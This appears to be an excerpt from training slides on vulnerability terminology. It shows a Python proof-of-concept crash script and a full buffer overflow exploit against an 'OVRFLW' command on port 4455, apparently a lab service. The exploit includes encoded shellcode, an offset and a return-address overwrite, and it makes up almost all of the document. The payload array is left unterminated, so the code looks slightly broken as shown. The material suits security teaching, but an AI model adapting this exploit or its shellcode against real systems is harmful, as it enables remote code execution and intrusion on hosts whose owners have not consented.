

Vulnerability Terminology Contd.

```
1 import sys, socket
2
3 if len(sys.argv) < 2:
4     print "\nUsage: " + sys.argv[0] + " <HOST>\n"
5     sys.exit()
6
7 cmd = "OVRFLW "
8 junk = "\x41" * 3000
9 end = "\r\n"
10
11 buffer = cmd + junk + end
12
13 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
14 s.connect((sys.argv[1], 4455))
15 s.send(buffer)
16 s.recv(1024)
17 s.close()
```

Exhibit A - Proof of Concept

```
3 import sys, socket
4
5 if len(sys.argv) < 2:
6     print "\nUsage: " + sys.argv[0] + " <HOST>\n"
7     sys.exit()
8
9 payload = (
10     "\xdd\xc6\x89\xe7\xd9\x77\xf4\x58\x8d\x40\x3c\x89\xc3\x83\xc3"
11     "\x06\x31\xc9\x66\xb9\x5d\xff\x66\xf7\xd1\x0f\xb7\x13\x81\xeb"
12     "\xfe\xff\xff\xff\xff\x30\x5a\xc1\xe6\x10\xc1\xe0\x10\x31\xd6"
13     "\x66\x89\x30\x8d\x40\x02\x49\x85\xc9\x0f\x85\xdd\xff\xff\xff"
14     "\x18\x7b\x72\x0c\x25\x8d\xe4\x93\xf0\x0c\x25\x8d\x84\x1a\x15"
15     "\x3d\xe5\xe9\x0f\x4a\x25\xb6\xb7\xe5\x84\x18\x31\x3d\x05\xcd"
16     "\x8b\xaf\x7b\x1b\xf4\x32\x27\x93\x1a\x67\xf6\x1e\x07\x52\xd5"
17     "\x6a\xf7\xd9\xe5\xa0\x87\x3d\x7c\x8b\xf5\x2b\xcd\x01\xf7\xc7"
18     "\xe4\x53\x2e\x49\xf6\x16\xb5\xd8\x77\x69\xf7\xc5\x3e\x91\x6f"
19     "\x8a\xcd\x8c\xb5\xa5\xe4\x8b\x1b\xbd\x4a\x09\x25\x44\x16\xbc"
20     "\x8d\x31\xc5\x31\xe0\xbf\xf0\x09\xfe\x4c\x0c\x0a\x14\x91\x75"
21     "\x14\xe0\xcb\x07\xf7\xfe\x18\xab\x40\x9f\xeb\xff\xcb\x20\x44"
22     "\x14\xe0\x2f\x42\x64\x60\x30\xb1\x74\x23\x3d\x3a\x61\xe4\x94"
23     "\x7c\x62\x60\xe0\x5c\x7f\xf1\x3f\x08\xd9\x6e\x7f\xf1\x57\x7f"
24     "\xe0\x5c\x20\xa5\x3f\x33\xdd\x7a\x27\x5e\xe0\x8b\x4d\x7b\x27"
25     "\x5a\xc3\x4f\x19\x2b\x4f\x73\x43\x24\x19\x04\x9a\x23\x13\x74"
26     "\x49\x94\xca\x63\x43\x1c\xa3\x9b\x15\x83\xbc\x09\x34\xf1\x10"
27     "\xeb\x7c\x61\x22\xe0\x78\xe9\x7c\x60\x99\x67\x9e\x83\x6c\x36"
28     "\xc0\x0f\x07\x26\x18\x57\x31\xda\x82\xe6\x6c\x5b\xc0\x94\x8a"
29     "\x93\x80\x33\x3e\x21\x28\xc5\x7f\xe6\x56\x42\x45\xa1\x7f\x6f"
30     "\xb5\x15\x12\xf6\x4e\x99\xdf\x07\x4b\xa0\xac\x64\xb9\xc0\x0f"
31     "\x84\x90\x65\xb8\x4d\x4b\xa0\x80\xa3\xb8\x09\x1f\xf0\xd6\xf5"
32     "\xc0\x4f\x49\xbc\x80\xa3\xbd\x19\x21\x07\x4c\x9c\x3b\xc6\xf4"
33     "\x4c\xac\x02\x6d\xa0\x0b\x7e\x04\xda\x0a\xbd\x6b\x81\x11\x61"
34     "\x1a\x08\x09\xd7\x79\x07\x8f\xb5\x54\x28\xac\xfb\x09\x09\x5e"
35     "\xa8\x57\x1b\xfc\x0c\xe5\xef\x44\x69\x93\xa6\xe5\xbc\xbb\xbc"
36
37 cmd = "OVRFLW "
38 #junk = "\x41" * 2029 + "\x83\x66\x62\x65" * 4 + "\x43" * (3000 - 2029 - 4)
39 junk = "\x41" * 1369 + "\x83\x66\x52\x56" * 16 + payload + "\x43" * (3000 - 1369 - 4 - len(payload) - 8)
40 end = "\r\n"
41
42 buffer = cmd + junk + end
43
44 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
45 s.connect((sys.argv[1], 4455))
46 s.send(buffer)
47 s.recv(1024)
48 s.close()
```

Exhibit B - Exploit

Vulnerability Classes (subset)